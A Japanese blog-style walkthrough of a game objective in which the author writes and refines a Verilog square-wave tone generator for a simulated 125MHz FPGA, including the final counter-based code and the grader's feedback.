Note: It's silly, but it compiles... assign wave_out = (clk | rst | (freq > 0)); endmodule
これはサラッと見ただけだけど、ヒントのリンク先のmovieの内容とかなり似ている気がする…!まずはヒントのmovieと、Webサイトの例をよく読んで取り組んでみます。
この言語は Verilog というやつで、普通のプログラミング言語だと思わないでね!とのこと。loopやdelayも使えない。
矩形波を出すプログラムを参考リンクを見ながら作ってみたものの、どうも精度が良くないらしい。
Sending code for analysis... Verilog parsed cleanly... Beginning FPGA simulation. This may take a few seconds... Random target frequency: 1602.85 Using a clock frequency of 125MHz, the closest you could get to the target frequency is 1602.8518 Sorry! Simulation results indicate a frequency of: 1606.6838Hz Your model should be able to more closely match the requested frequency.
こんな感じで弾かれてしまう。
terminalの最後に注意があったとおり、四捨五入がうまく行っていないのかもしれない。verilog square wave
みたいな文言でぐぐってみると、最初にあたったリンクに今回とても使えそうなコードが載っていました。こっちのほうが最初から精度が出たので、このコードをベースに実装してみます。
Generating simple square wave using FPGA | Numato Lab Help Center
あとは、verilogの型やbit数を意識して real
と integer
を使い分けて…とやっていると、精度良く動くコードが出来ました。最終成果物はこちら。
// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA. // The CQC-11 operates with a 125MHz clock. // Your design for a tone generator must support the following // inputs/outputs: // (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL // REQUIRES THE USE OF THESE NAMES!) // input clk - this will be connected to the 125MHz system clock // input rst - this will be connected to the system board's reset bus // input freq - a 32 bit integer indicating the required frequency // (0 - 9999.99Hz) formatted as follows: // 32'hf1206 or 32'd987654 = 9876.54Hz // output wave_out - a square wave output of the desired frequency // you can create whatever other variables you need, but remember // to initialize them to something! `timescale 1ns/1ns module tone_generator ( input clk, input rst, input [31:0] freq, output wave_out ); // ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ---- // ---- IT IS NECESSARY FOR AUTOMATED ANALYSIS ---- // TODO: Add your code below. // Remove the following line and add your own implementation. // Note: It's silly, but it compiles... // assign wave_out = (clk | rst | (freq > 0)); integer counter; real real_no; integer rounded; reg sq_wave; assign wave_out = sq_wave; always @(posedge clk or posedge rst) begin // calculate precise count in advance (everytime...) real_no <= 125000000.0/freq/2.0*100.0; if($rtoi(real_no * 10) - ($rtoi(real_no) * 10) > 4) begin rounded <= $rtoi(real_no) + 1; end else begin rounded <= $rtoi(real_no); end if(rst==1) begin counter <= 32'h00; sq_wave <= 1'b0; end else begin if(counter == 32'h00) begin sq_wave <= ~sq_wave; counter <= rounded - 1; end else begin counter <= counter - 1; // count down end end end endmodule
これですべて正確な値を出すことに成功。最後にProgram Device
を押して The device has been successfully programmed!
と表示されたらObjective達成🙌
このObjectiveをクリアすると、rooftopに宇宙船が降りてきて、その中でJackとスクリーンの中のサンタに話しかけるとWon! エンドロールが流れます。